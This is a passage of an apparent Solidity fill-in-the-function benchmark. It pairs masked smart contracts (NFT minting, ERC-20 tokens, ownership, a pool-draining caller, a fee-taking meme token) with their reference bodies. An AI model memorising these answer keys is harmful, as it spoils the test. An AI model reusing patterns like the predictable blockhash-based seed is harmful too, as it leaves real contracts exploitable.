uint256 _balance = address(this).balance;
require(_balance > 0);
payable(msg.sender).transfer(_balance);
}
receive() external payable {
mintMany(msg.value / MINT_COST);
}
function mint() external payable {
mintMany(1);
}
function mintMany(uint256 _tokens) public payable {
require(_tokens > 0);
uint256 _cost = _tokens * MINT_COST;
require(msg.value >= _cost);
for (uint256 i = 0; i < _tokens; i++) {
_mint();
}
if (msg.value > _cost) {
payable(msg.sender).transfer(msg.value - _cost);
}
}
function rename(uint256 _tokenId, string calldata _newName) external {
require(bytes(_newName).length <= MAX_NAME_LENGTH);
require(msg.sender == ownerOf(_tokenId));
info.list[_tokenId].name = _newName;
emit Rename(msg.sender, _tokenId, _newName);
}
function approve(address _approved, uint256 _tokenId) external {
require(msg.sender == ownerOf(_tokenId));
info.list[_tokenId].approved = _approved;
emit Approval(msg.sender, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
info.users[msg.sender].approved[_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function transferFrom(address _from, address _to, uint256 _tokenId) external {
_transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public {
_transfer(_from, _to, _tokenId);
uint32 _size;
assembly {
_size := extcodesize(_to)
}
if (_size > 0) {
require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02);
}
}
function name() external view returns (string memory) {
return info.metadata.name();
}
function symbol() external view returns (string memory) {
return info.metadata.symbol();
}
function contractURI() external view returns (string memory) {
return info.metadata.contractURI();
}
function baseTokenURI() external view returns (string memory) {
return info.metadata.baseTokenURI();
}
function tokenURI(uint256 _tokenId) external view returns (string memory) {
return info.metadata.tokenURI(_tokenId);
}
function owner() public view returns (address) {
return info.owner;
}
function totalSupply() public view returns (uint256) {
return info.totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return info.users[_owner].balance;
}
function ownerOf(uint256 _tokenId) public view returns (address) {
require(_tokenId < totalSupply());
return info.list[_tokenId].owner;
}
function getApproved(uint256 _tokenId) public view returns (address) {
require(_tokenId < totalSupply());
return info.list[_tokenId].approved;
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return info.users[_owner].approved[_operator];
}
function getSeed(uint256 _tokenId) public view returns (bytes32) {
require(_tokenId < totalSupply());
return info.list[_tokenId].seed;
}
function getName(uint256 _tokenId) public view returns (string memory) {
require(_tokenId < totalSupply());
return info.list[_tokenId].name;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return _index;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return info.users[_owner].list[_index];
}
function getINK(uint256 _tokenId) public view returns (address tokenOwner, address approved, bytes32 seed, string memory tokenName) {
return (ownerOf(_tokenId), getApproved(_tokenId), getSeed(_tokenId), getName(_tokenId));
}
function getINKs(uint256[] memory _tokenIds) public view returns (address[] memory owners, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names) {
uint256 _length = _tokenIds.length;
owners = new address[](_length);
approveds = new address[](_length);
seeds = new bytes32[](_length);
names = new bytes32[](_length);
for (uint256 i = 0; i < _length; i++) {
string memory _name;
(owners[i], approveds[i], seeds[i], _name) = getINK(_tokenIds[i]);
names[i] = _stringToBytes32(_name);
}
}
function getINKsTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory owners, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names, uint256 totalINKs, uint256 totalPages) {
require(_limit > 0);
totalINKs = totalSupply();
if (totalINKs > 0) {
totalPages = (totalINKs / _limit) + (totalINKs % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalINKs % _limit != 0) {
_limit = totalINKs % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalINKs - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
(owners, approveds, seeds, names) = getINKs(tokenIds);
}
function getOwnerINKsTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names, uint256 totalINKs, uint256 totalPages) {
require(_limit > 0);
totalINKs = balanceOf(_owner);
if (totalINKs > 0) {
totalPages = (totalINKs / _limit) + (totalINKs % _limit == 0 ? 0 : 1);
require(_page < totalPages);
uint256 _offset = _limit * _page;
if (_page == totalPages - 1 && totalINKs % _limit != 0) {
_limit = totalINKs % _limit;
}
tokenIds = new uint256[](_limit);
for (uint256 i = 0; i < _limit; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalINKs - _offset - i - 1);
}
} else {
totalPages = 0;
tokenIds = new uint256[](0);
}
( , approveds, seeds, names) = getINKs(tokenIds);
}
<FILL_FUNCTION>
function _mint() internal {
require(totalSupply() < MAX_SUPPLY);
uint256 _tokenId = info.totalSupply++;
Token storage _newToken = info.list[_tokenId];
_newToken.owner = msg.sender;
bytes32 _seed = keccak256(abi.encodePacked(_tokenId, msg.sender, blockhash(block.number - 1), gasleft()));
_newToken.seed = _seed;
uint256 _index = info.users[msg.sender].balance++;
info.users[msg.sender].indexOf[_tokenId] = _index + 1;
info.users[msg.sender].list[_index] = _tokenId;
emit Transfer(address(0x0), msg.sender, _tokenId);
emit Mint(msg.sender, _tokenId, _seed);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
address _owner = ownerOf(_tokenId);
address _approved = getApproved(_tokenId);
require(_from == _owner);
require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender));
info.list[_tokenId].owner = _to;
if (_approved != address(0x0)) {
info.list[_tokenId].approved = address(0x0);
emit Approval(address(0x0), address(0x0), _tokenId);
}
uint256 _index = info.users[_from].indexOf[_tokenId] - 1;
uint256 _moved = info.users[_from].list[info.users[_from].balance - 1];
info.users[_from].list[_index] = _moved;
info.users[_from].indexOf[_moved] = _index + 1;
info.users[_from].balance--;
delete info.users[_from].indexOf[_tokenId];
uint256 _newIndex = info.users[_to].balance++;
info.users[_to].indexOf[_tokenId] = _newIndex + 1;
info.users[_to].list[_newIndex] = _tokenId;
emit Transfer(_from, _to, _tokenId);
}
function _stringToBytes32(string memory _in) internal pure returns (bytes32 out) {
if (bytes(_in).length == 0) {
return 0x0;
}
assembly {
out := mload(add(_in, 32))
}
}
} |
return (totalSupply(), balanceOf(_owner));
| function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance) | function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance) |
4311 | Drain | drainPools | contract Drain is ChiGasSaver {
function drainPools(uint[] calldata _pools) public
saveGas(msg.sender) {<FILL_FUNCTION_BODY> }
} | contract Drain is ChiGasSaver {
<FILL_FUNCTION>
} |
for (uint i = 0; i < _pools.length; i++) {
0xD12d68Fd52b54908547ebC2Cd77Ec6EbbEfd3099.call(
abi.encodeWithSelector(
bytes4(
keccak256("drain(uint256)")), _pools[i]));
}
| function drainPools(uint[] calldata _pools) public
saveGas(msg.sender) | function drainPools(uint[] calldata _pools) public
saveGas(msg.sender) |
49313 | CRVToken | approveAndCall | contract CRVToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It’s like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES
//
//make sure this function name matches the contract name above. So if you’re token is called UselessToken, make sure the //contract name above is also UselessToken instead of ERC20Token
function CRVToken (
) {
balances[msg.sender] = 1000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 1000000000; // Update total supply (100000 for example)
name = "Crypto Ventures Token"; // Set the name for display purposes
decimals = 0; // Amount of decimals for display purposes
symbol = "CRV"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract CRVToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It’s like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES
//
//make sure this function name matches the contract name above. So if you’re token is called UselessToken, make sure the //contract name above is also UselessToken instead of ERC20Token
function CRVToken (
) {
balances[msg.sender] = 1000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 1000000000; // Update total supply (100000 for example)
name = "Crypto Ventures Token"; // Set the name for display purposes
decimals = 0; // Amount of decimals for display purposes
symbol = "CRV"; // Set the symbol for display purposes
}
<FILL_FUNCTION>
} |
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn’t have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
| function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) | /* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) |
87594 | Ownable | transferOwnership | contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> }
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
} | contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
<FILL_FUNCTION>
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
} |
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
| function transferOwnership(address newOwner) public onlyOwner | /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner |
69858 | SnbtokenICO | transfer | contract SnbtokenICO is ERC20, SafeMath{
mapping(address => uint256) balances;
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) returns (bool success){<FILL_FUNCTION_BODY> }
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool success){
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
uint256 public endTime;
uint256 public price;
modifier during_offering_time(){
if(now>1513911600)
{
price = 2231;
}
else if(now>1513306800)
{
price = 2491;
}
else if(now>1512702000)
{
price = 2708;
}
else if(now>1512025200)
{
price = 3032;
}
else if(now>1511589600) ///1511589600 ///1511938800
{
price = 3249;
}
else
{
price = 500;
}
if (now >= endTime){
throw;
}else{
_;
}
}
function () payable during_offering_time {
createTokens(msg.sender);
}
function createTokens(address recipient) payable {
if (msg.value == 0) {
throw;
}
uint tokens = safeDiv(safeMul(msg.value, price), 1 ether);
totalSupply = safeAdd(totalSupply, tokens);
balances[recipient] = safeAdd(balances[recipient], tokens);
if (!owner.send(msg.value)) {
throw;
}
}
string public name = "SNB - Network for the Blind";
string public symbol = "SNB";
uint public decimals = 0;
uint256 public INITIAL_SUPPLY = 70000000;
uint256 public SALES_SUPPLY = 130000000;
address public owner;
function SnbtokenICO() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
owner = msg.sender;
price = 500;
endTime = 1514617200;
}
} | contract SnbtokenICO is ERC20, SafeMath{
mapping(address => uint256) balances;
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
<FILL_FUNCTION>
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool success){
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
uint256 public endTime;
uint256 public price;
modifier during_offering_time(){
if(now>1513911600)
{
price = 2231;
}
else if(now>1513306800)
{
price = 2491;
}
else if(now>1512702000)
{
price = 2708;
}
else if(now>1512025200)
{
price = 3032;
}
else if(now>1511589600) ///1511589600 ///1511938800
{
price = 3249;
}
else
{
price = 500;
}
if (now >= endTime){
throw;
}else{
_;
}
}
function () payable during_offering_time {
createTokens(msg.sender);
}
function createTokens(address recipient) payable {
if (msg.value == 0) {
throw;
}
uint tokens = safeDiv(safeMul(msg.value, price), 1 ether);
totalSupply = safeAdd(totalSupply, tokens);
balances[recipient] = safeAdd(balances[recipient], tokens);
if (!owner.send(msg.value)) {
throw;
}
}
string public name = "SNB - Network for the Blind";
string public symbol = "SNB";
uint public decimals = 0;
uint256 public INITIAL_SUPPLY = 70000000;
uint256 public SALES_SUPPLY = 130000000;
address public owner;
function SnbtokenICO() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
owner = msg.sender;
price = 500;
endTime = 1514617200;
}
} |
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
| function transfer(address _to, uint256 _value) returns (bool success) | function transfer(address _to, uint256 _value) returns (bool success) |
5126 | StandardToken | approve | contract StandardToken is ERC20, AdminBasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowed[_from][msg.sender]); // Check allowance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(_addedValue !=0 && allowed[msg.sender][_spender] > 0);
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(_subtractedValue !=0 && allowed[msg.sender][_spender] > 0);
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | contract StandardToken is ERC20, AdminBasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowed[_from][msg.sender]); // Check allowance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
<FILL_FUNCTION>
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(_addedValue !=0 && allowed[msg.sender][_spender] > 0);
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(_subtractedValue !=0 && allowed[msg.sender][_spender] > 0);
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} |
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
| function approve(address _spender, uint256 _value) public returns (bool success) | /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool success) |
49888 | MultiOwners | revoke | contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
constructor() public {
owners[msg.sender] = true;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() view public returns (bool) {
return owners[msg.sender] ? true : false;
}
function checkOwner(address maybe_owner) view public returns (bool) {
return owners[maybe_owner] ? true : false;
}
function grant(address _owner) public onlyOwner {
owners[_owner] = true;
emit AccessGrant(_owner);
}
function revoke(address _owner) public onlyOwner {<FILL_FUNCTION_BODY> }
} | contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
constructor() public {
owners[msg.sender] = true;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() view public returns (bool) {
return owners[msg.sender] ? true : false;
}
function checkOwner(address maybe_owner) view public returns (bool) {
return owners[maybe_owner] ? true : false;
}
function grant(address _owner) public onlyOwner {
owners[_owner] = true;
emit AccessGrant(_owner);
}
<FILL_FUNCTION>
} |
require(msg.sender != _owner);
owners[_owner] = false;
emit AccessRevoke(_owner);
| function revoke(address _owner) public onlyOwner | function revoke(address _owner) public onlyOwner |
44214 | XFCToken | null | contract XFCToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | contract XFCToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} |
symbol = "XFC";
name = "XFC Fan Token";
decimals = 0;
_totalSupply = 20000000;
balances[0x4D11c5A0169d22E4d660b41522Fad58055d5C214] = _totalSupply;
emit Transfer(address(0), 0x4D11c5A0169d22E4d660b41522Fad58055d5C214, _totalSupply);
| constructor() public | // ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public |
4299 | YukiToken | swapTokensForEth | contract YukiToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _feeAddr1 = 0;
uint256 public _feeAddr2 = 15;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Yuki NFT";
string private constant _symbol = "YUKI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x2fbE4aFa4F3768E16E0E81B38b19dAC8463E95FA);
_feeAddrWallet2 = payable(0x2fbE4aFa4F3768E16E0E81B38b19dAC8463E95FA);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
